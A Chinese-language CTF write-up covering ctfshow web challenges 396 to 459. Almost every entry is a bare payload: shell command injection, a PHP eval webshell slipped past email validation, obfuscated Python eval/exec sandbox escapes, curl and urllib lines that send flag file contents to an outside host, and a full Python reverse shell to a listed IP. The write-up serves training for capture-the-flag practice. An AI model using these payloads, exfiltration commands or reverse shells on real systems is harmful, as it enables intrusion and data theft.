文章目录
- web396、397、398、399、400、401
- web402
- web403
- web404
- web405
- web406不会
- web407
- web408
- web409不会
- web410、411
- web412
- web413
- web414
- web415
- web416
- web417
- web418
- web419
- web420
- web421
- web422
- web423
- web424
- web425
- web426
- web427
- web428
- web429
- web430
- web431
- web432
- web433
- web434
- web435、436、437、438、439
- web440
- web441
- web442
- web443-444
- web445、446
- web447
- web448
- web449
- web450
- web451
- web452
- web453、455、456
- web454
- web457
- web458
- web459
web396、397、398、399、400、401
url=http://1/1;echo `ls`>a.txt
url=http://1/1;echo `cat fl0g.php`>a.txt
web402
payload:url=file://1/1;echo `cat fl0g.php`>a.txt
web403
url=http://127.0.0.1/1;echo `cat fl0g.php`>a.txt
web404
url=http://127.0.0.1111;echo `cat f*`>1.txt;11/a
web405
url=httphp://127.0.0.1111;echo `cat f*`>1.txt;11/a
web406不会
web407
被认为是ipv6地址
ip=cafe::add
web408
用下大佬的话非法字符放在双引号里面绕过email@前缀限制
email="<?=eval($_POST[1])?>"@a.php
web409不会
web410、411
定义和用法
FILTER_VALIDATE_BOOLEAN 过滤器把值作为布尔选项来验证。
Name: "boolean"
ID-number: 258
可能的返回值:
如果是 "1", "true", "on" 以及 "yes",则返回 true。
如果是 "0", "false", "off", "no" 以及 "",则返回 false。
否则返回 NULL。
payload:
b=yes
web412
payload
ctfshow=%0asystem('tac f*');
web413
payload
ctfshow=*/system('tac f*');/*
web414
payload
ctfshow=-1
web415
payload
k=Getflag
web416
payload
f=ctf::flag
web417
想打人的题,一直base解最后的内容如下
include('flag.php');
$c=$_GET['ctf'];
if($c=='show'){
echo $flag;
}else{
echo 'FLAG_NOT_HERE';
}
?>
payload
ctf=show
web418
给的后门没法用,需要变量覆盖然后利用shell_exec
payloaddie=0&clear=;cp flag.php flag.txt
然后访问flag.txt即可
web419
payload
code=`cp f* f.txt`;
web420
ls找了几个目录发现在/var/www下(ls …/)
剩下的就是打开了
payload
code=nl ../*
还有一种方法,可以参考下大佬写的文章
比如我们想执行 cat index.php,可以依次执行如下命令
>php\\
>dex.\\
>\ in\\
>cat\\
接着执行ls -t >0
这样的话文件0中的内容就是 cat index.php
最后利用sh 0 来执行就可以了
web421
因为flag就在当前目录下,所有相对简单了一些
palyoad nl f*
web422
payload nl *
下面的题都是python的命令执行的,因为下面代码中的return需要返回的是字符串,所以不是字符串的我们就用str函数转换一下就好了。
最原始代码
from flask import Flask
from flask import request
import os
app = Flask(__name__)
@app.route('/')
def app_index():
code = request.args.get('code')
if code:
return eval(code)
return 'where is flag?<!-- /?code -->'
if __name__=="__main__":
app.run(host='0.0.0.0',port=80)
web423
无任何过滤,,而且已经导入了os
os.popen('ls /').read()
可以看到flag在根目录下。
后面的我们都盲猜flag在根目录下。
payload
open('/flag').read()
web424
去掉了自带的import os
payload
open('/flag').read()
web425
过滤了os
字符串,过滤有问题,只会匹配开头
payload
open('/flag').read()
web426
过滤了os|popen
,过滤有问题,只会匹配开头
payload
open('/flag').read()
web427
过滤了os|popen|system
,过滤有问题,只会匹配开头
payload
open('/flag').read()
web428
过滤了os|popen|system|read
,过滤有问题,只会匹配开头
payload
open('/flag').read()
web429
过滤了os|open|system|read
,过滤有问题,只会匹配开头
payload
open('/flag').read()
open前面有个空格
web430
过滤了os|open|system|read|eval
过滤有问题,只会匹配开头
payload
open('/flag').read()
open前面有个空格
web431
过滤了os|open|system|read|eval|str
过滤有问题,只会匹配开头
payload
open('/flag').read()
open前面有个空格
后面就是正常的过滤了,因为过滤了eval所以我们只能用exec来执行了.但是exec的返回值永远是none,所以只能用一些盲打的方法了。
通过一些特殊方法得到了每个的源码(不是问的群主)
web432
过滤了os|open|system|read|eval
复杂的方法的话可以用类似于模板注入的语句
str(__builtins__.__dict__['__impo'%2b'rt__']('o'%2b's').__getattribute__('syste'%2b'm')('curl http://xxx:4567?p=`cat /f*`'))
开个nc监听一下就可以了
web433
过滤了os|open|system|read|eval|builtins
payload
str(__import__('so'[::-1]).__getattribute__('syste'%2b'm')('curl http://xxx:4567?p=`cat /f*`'))
web434
过滤了os|open|system|read|eval|builtins|curl
str(__import__('so'[::-1]).__getattribute__('syste'%2b'm')('cu'%2b'rl http://182.92.91.240:4567?p=`cat /f*`'))
web435、436、437、438、439
435
过滤了os|open|system|read|eval|builtins|curl|_
436
过滤了os|open|system|read|eval|builtins|curl|_|getattr
437
过滤了os|open|system|read|eval|builtins|curl|_|getattr
438
过滤了os|open|system|read|eval|builtins|curl|_|getattr|{
439
过滤了os|open|system|read|eval|builtins|curl|_|getattr|{
python里面可以用分号执行多条语句
比如 a=1;b=2是没有什么问题的
payload
str(exec(')"`*f/ tac`=p?7654:xxx//:ptth lruc"(metsys.so ;so tropmi'[::-1]))
web440
过滤了os|open|system|read|eval|builtins|curl|_|getattr|{|'|"
没有了引号,我们可以用chr构造字符串
s="__import__('os').system('curl http://xxx?p=`cat /f*`')"
def ccchr(s):
t=''
for i in range(len(s)):
if i<len(s)-1:
t+='chr('+str(ord(s[i]))+')%2b'
else:
t+='chr('+str(ord(s[i]))+')'
return t
print(ccchr(s))
payload
str(exec(xxx)) xxx为上面脚本运行的结果
web441
在上面的方法上用request进行了优化
?code=str(exec(request.args.get(chr(97))))&a=__import__('os').system('curl http://182.92.91.240:4567?p=`cat /f*`')
web442
过滤了数字,所以直接用chr不好搞了,但是还是有方法的
code=str(exec(request.args.get(request.method)))&GET=__import__('os').system('curl http://xxx:4567?p=`cat /f*`')
web443-444
payload
get:POST=__import__('os').system('curl http://xxx:4567?p=`cat /f*`')
code=str(exec(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].args.get(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].method)))
web445、446
payload
get:POST=import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("174.0.13.43",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);
code=str(exec(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].args.get(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].method)))
web447
get:
POST=from importlib import reload;import os;reload(os);os.system('curl http://xxx:4567?p=`cat /f*`')
post:
code=str(exec(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].args.get(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].method)))
web448
get:
POST=import shutil;shutil.copy('/usr/local/lib/python3.8/os.py','a.py');import a;a.system('sleep 3')
post:
code=str(exec(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].args.get(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].method)))
web449
get:
POST=s=open('/flag').read();import urllib;urllib.request.urlopen('http://182.92.91.240:4567?p='%2bs)
post:
code=str(exec(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].args.get(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].method)))
web450
ctfshow=phpinfo^phpinfo^phpinfo
web451
phpanfo^phpznfo^phprnfo
一位一位异或的
'a'^'z'^'r'=i
web452
ctfshow=echo `cat /f*`;
web453、455、456
首先读取index.php的源代码/ctf/show?S=XXX s=index.php
下面是重要的一部分
public function file($request,$response){
$response->header('Content-Type', 'text/html; charset=utf-8');
$s=$request->post['s'];
if(isset($s)){
file_put_contents('shell.php', $s);
$response->end('file write done in /var/www/shell.php');
}
else{
$response->end('s not found');
}
}
public function exec($request,$response){
system('php shell.php');
$response->end('command exec done');
}
也就是说,当我们访问/ctf/file post传入的s会写入shell.php中,然后当我们访问/ctf/exec时,就会去执行刚才的shell.php。
里面的内容大家就可以随意发挥了。
我写的是
<?php system('curl http://xxx.xxx.xxx:4567?p=`ls`');?>
得到flaaag
接着打开就可以了
<?php system('curl http://xxx.xxx.xxx:4567?p=`cat f*`');?>
web454
和上一题基本上没啥区别,就是把exec改成include就可以了
web457
u=admin&p=phpinfo
phpinfo()返回值为true,所以满足$u=='admin'
web458
web459
payload
?u=php://filter/convert.base64-encode/resource=flag.php&p=1